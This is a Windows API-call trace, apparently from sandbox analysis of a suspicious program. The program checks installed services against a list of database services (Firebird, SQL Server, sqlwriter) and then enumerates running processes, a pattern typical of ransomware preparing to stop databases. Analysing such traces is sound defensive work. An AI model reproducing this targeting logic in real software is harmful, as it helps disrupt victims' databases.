	[0170.194] lstrlenW (lpString="EventSystem") returned 11
	[0170.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0170.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0170.194] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0170.194] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0170.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0170.195] lstrlenW (lpString="FontCache") returned 9
	[0170.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0170.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0170.195] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0170.195] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0170.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0170.195] lstrlenW (lpString="gpsvc") returned 5
	[0170.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0170.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0170.195] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0170.195] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0170.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0170.195] lstrlenW (lpString="iphlpsvc") returned 8
	[0170.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0170.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0170.195] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0170.195] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0170.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0170.195] lstrlenW (lpString="KeyIso") returned 6
	[0170.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0170.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0170.195] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0170.195] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0170.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0170.195] lstrlenW (lpString="LanmanServer") returned 12
	[0170.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0170.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0170.195] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0170.195] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0170.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0170.195] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0170.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0170.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0170.195] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0170.196] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0170.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0170.196] lstrlenW (lpString="lfsvc") returned 5
	[0170.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0170.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0170.196] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0170.196] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0170.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0170.196] lstrlenW (lpString="lmhosts") returned 7
	[0170.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0170.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0170.196] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0170.196] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0170.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0170.196] lstrlenW (lpString="LSM") returned 3
	[0170.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0170.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0170.196] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0170.196] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0170.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0170.196] lstrlenW (lpString="MpsSvc") returned 6
	[0170.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0170.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0170.196] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0170.196] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0170.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0170.196] lstrlenW (lpString="NcbService") returned 10
	[0170.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0170.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0170.196] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0170.196] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0170.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0170.196] lstrlenW (lpString="netprofm") returned 8
	[0170.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0170.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0170.196] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0170.197] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0170.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0170.197] lstrlenW (lpString="NgcSvc") returned 6
	[0170.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0170.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0170.197] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0170.197] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0170.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0170.197] lstrlenW (lpString="NlaSvc") returned 6
	[0170.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0170.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0170.197] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0170.197] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0170.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0170.197] lstrlenW (lpString="nsi") returned 3
	[0170.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0170.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0170.197] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0170.197] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0170.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0170.197] lstrlenW (lpString="PcaSvc") returned 6
	[0170.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0170.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0170.197] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0170.197] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0170.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0170.197] lstrlenW (lpString="PlugPlay") returned 8
	[0170.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0170.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0170.197] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0170.197] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0170.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0170.197] lstrlenW (lpString="Power") returned 5
	[0170.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0170.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0170.198] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0170.198] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0170.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0170.198] lstrlenW (lpString="ProfSvc") returned 7
	[0170.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0170.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0170.198] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0170.198] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0170.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0170.198] lstrlenW (lpString="RpcEptMapper") returned 12
	[0170.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0170.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0170.198] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0170.198] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0170.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0170.198] lstrlenW (lpString="RpcSs") returned 5
	[0170.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0170.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0170.198] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0170.198] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0170.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0170.198] lstrlenW (lpString="SamSs") returned 5
	[0170.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0170.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0170.198] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0170.198] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0170.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0170.198] lstrlenW (lpString="Schedule") returned 8
	[0170.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0170.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0170.198] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0170.198] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0170.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0170.198] lstrlenW (lpString="SecurityHealthService") returned 21
	[0170.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0170.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0170.199] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0170.199] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0170.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0170.199] lstrlenW (lpString="SENS") returned 4
	[0170.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0170.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0170.199] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0170.199] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0170.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0170.199] lstrlenW (lpString="ShellHWDetection") returned 16
	[0170.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0170.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0170.199] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0170.199] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0170.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0170.199] lstrlenW (lpString="Spooler") returned 7
	[0170.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0170.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0170.199] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0170.199] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0170.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0170.199] lstrlenW (lpString="StateRepository") returned 15
	[0170.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0170.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0170.199] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0170.199] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0170.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0170.199] lstrlenW (lpString="SysMain") returned 7
	[0170.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0170.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0170.199] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0170.199] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0170.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0170.199] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0170.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0170.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0170.200] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0170.200] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0170.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0170.200] lstrlenW (lpString="Themes") returned 6
	[0170.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0170.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0170.200] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0170.200] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0170.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0170.200] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0170.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0170.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0170.200] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0170.200] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0170.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0170.200] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0170.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0170.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0170.200] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0170.200] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0170.200] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40beff0 | out: hHeap=0x710000) returned 1
	[0170.200] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4a4
	[0170.226] Process32FirstW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0170.227] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0170.227] lstrlenW (lpString="System") returned 6
	[0170.227] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0170.228] lstrlenW (lpString="smss.exe") returned 8
	[0170.228] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0170.228] lstrlenW (lpString="csrss.exe") returned 9
	[0170.228] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0170.229] lstrlenW (lpString="wininit.exe") returned 11
	[0170.229] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0170.229] lstrlenW (lpString="csrss.exe") returned 9
	[0170.229] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0170.229] lstrlenW (lpString="winlogon.exe") returned 12
	[0170.230] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0170.230] lstrlenW (lpString="services.exe") returned 12
	[0170.230] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0170.230] lstrlenW (lpString="lsass.exe") returned 9
	[0170.230] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0170.231] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0170.231] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0170.231] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0170.231] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.232] lstrlenW (lpString="svchost.exe") returned 11
	[0170.232] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.232] lstrlenW (lpString="svchost.exe") returned 11
	[0170.232] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0170.232] lstrlenW (lpString="dwm.exe") returned 7
	[0170.232] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.233] lstrlenW (lpString="svchost.exe") returned 11
	[0170.233] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.233] lstrlenW (lpString="svchost.exe") returned 11
	[0170.233] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.234] lstrlenW (lpString="svchost.exe") returned 11
	[0170.234] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.234] lstrlenW (lpString="svchost.exe") returned 11
	[0170.234] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.235] lstrlenW (lpString="svchost.exe") returned 11
	[0170.235] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.235] lstrlenW (lpString="svchost.exe") returned 11
	[0170.235] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.235] lstrlenW (lpString="svchost.exe") returned 11
	[0170.235] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.236] lstrlenW (lpString="svchost.exe") returned 11
	[0170.236] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.236] lstrlenW (lpString="svchost.exe") returned 11
	[0170.236] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.237] lstrlenW (lpString="svchost.exe") returned 11
	[0170.237] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0170.237] lstrlenW (lpString="spoolsv.exe") returned 11
	[0170.237] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.244] lstrlenW (lpString="svchost.exe") returned 11
